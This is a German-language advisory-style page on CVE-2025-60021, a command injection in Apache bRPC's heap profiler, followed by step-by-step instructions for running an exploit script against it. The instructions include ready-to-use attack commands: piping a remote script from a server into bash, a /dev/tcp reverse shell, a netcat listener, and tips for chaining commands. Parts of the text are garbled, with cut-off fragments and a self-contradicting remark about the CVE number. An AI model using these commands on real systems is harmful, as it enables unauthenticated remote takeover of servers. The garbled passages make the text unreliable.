
CVE-2025-60021

CVE-2025-60021 ist eine kritische Remote-Befehlsinjektions-Schwachstelle im integrierten Heap-Profiler-Dienst (/pprof/heap) von Apache bRPC in Versionen vor 1.15.0, die es nicht authentifizierten Angreifern ermöglicht, beliebige Betriebssystembefehle auszuführen. ([NVD][1])
| Attribut | Informationen |
|---|---|
| Name / ID | CVE-2025-60021 |
| Produkt | Apache bRPC (alle Plattformen) |
| Betroffene Versionen | < 1.15.0 |
| Veröffentlichungsdatum | 16. Januar 2026 ([NVD][1]) |
| Schwachstellentyp | Remote-Befehlsinjektion (CWE-77) ([NVD][1]) |
| Endpunkt | /pprof/heap |
| Auslöser | Unbereinigter extra_options-Parameter |
| Ursache | Eingabe wird vor der Ausführung als Betriebssystembefehl nicht validiert ([openwall.com][2]) |
❗Angreifer können durch bloßes Manipulieren dieses Profiling-Parameters remote Befehle einschleusen.
🔥 Schweregrad: Kritisch
📊 CVSS v3.1-Basiswert: 9,8 / 10
Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H ([INCIBE][3])
| Auswirkungskategorie | Auswirkung | |
|---|---|---|
| Vertraulichkeit | Hoch | |
| Integrität | Hoch | |
| Verfügbarkeit | Hoch | |
| Angriffsvektor | Netzwerk | |
| Berechtigungen | Keine erforderlich | |
| Benutzerinteraktion | Keine nötig | ([INCIBE][3]) |
👉 Das bedeutet, Angreifer können ohne Anmeldung remote beliebige Befehle ausführen – ein Worst-Case-Szenario für exponierte Dienste.
/pprof/heap) bereit, der für die Speicheranalyse (jemalloc) gedacht ist. ([openwall.com][2])extra_options-Parameter. Statt ihn zu bereinigen, übergibt bRPC ihn direkt an die Betriebssystem-Shell. ([openwall.com][2])Dies setzt voraus, dass du das Skript als CVE-2025-60021.py gespeichert hast (auch wenn die echte CVE die 2025-60021 ist – du kannst es gerne umbenennen). Es ist ein Python-3-Skript zur Demonstration der Remote-Befehlsinjektions-Schwachstelle im Heap-Profiler von Apache bRPC. Führe es nur auf Systemen aus, die dir gehören oder für die du eine ausdrückliche schriftliche Testgenehmigung hast – Ausnutzung ohne Autorisierung ist illegal.
Python-Umgebung: Stelle sicher, dass Python 3 installiert ist (z. B. 3.6+). Das Skript verwendet eingebaute Module sowie requests und argparse (die Standard sind bzw. einfach zu installieren).
Abhängigkeiten installieren: Falls noch nicht vorhanden, installiere die requests-Bibliothek:
pip install requests
Ziel einrichten: Du benötigst einen verwundbaren Apache-bRPC-Server:
http://localhost:8060 oder eine entfernte IP/Port).
Wenn du lokal testest, richte eine verwundbare bRPC-Instanz ein (z. B. über Docker oder einen Quellcode-Build – siehe Apache-bRPC-Dokumentation).Berechtigungen: Verwende sudo nur, wenn es für den Netzwerkzugriff oder Berechtigungen nötig ist; andernfalls reicht einfaches python3.
Kopiere den zuvor bereitgestellten PoC-Code in eine Datei mit dem Namen CVE-2025-60021.py. Mache sie bei Bedarf ausführbar:
chmod +x CVE-2025-60021.py
Das Skript benötigt zwei positionsbasierte Pflichtargumente:
target: Die URL des verwundbaren bRPC-Servers (z. B. http://192.168.1.100:8060 oder http://targets:8060 – korrigiere Tippfehler wie fehlendes Schema oder ungültigen Host).cmd: Der Befehl, der auf dem Ziel ausgeführt werden soll (z. B. "id" für Benutzerinformationen oder etwas Komplexeres wie "curl http://your-server/reverse-shell.sh | bash" für eine Reverse Shell). Verwende && oder ;, um mehrere Befehle zu verketten.Öffne ein Terminal (z. B. in Kali Linux, da du das verwendest) und führe es mit deinem Ziel und Befehl aus. Beispielbefehle:
Basistest (Systeminformationen abrufen):
sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
Reverse-Shell-Beispiel (ersetze your-listener-ip und Port; richte zuerst einen Listener wie nc -lvnp 4444 ein):
sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
Wenn du HTTPS oder einen anderen Port verwendest, passe die URL entsprechend an (z. B. https://target:443 – das Skript kommt damit klar, aber füge bei Zertifikatsproblemen --insecure hinzu).
Erfolgsindikatoren:
uid=0(root)..., wenn id ausgeführt wurde).Fehlerindikatoren (wie du sie gesehen hast):
--enable_heap_profiler=true) und starte den Server neu.cmd-Argument vergessen – immer mit angeben.echo "test" > /tmp/proof.txt) und prüfe die Datei auf dem Ziel.; nicht funktioniert, versuche && oder | zum Verketten. Kodiere Sonderzeichen bei Bedarf per URL-Encoding (das Skript erledigt das meiste).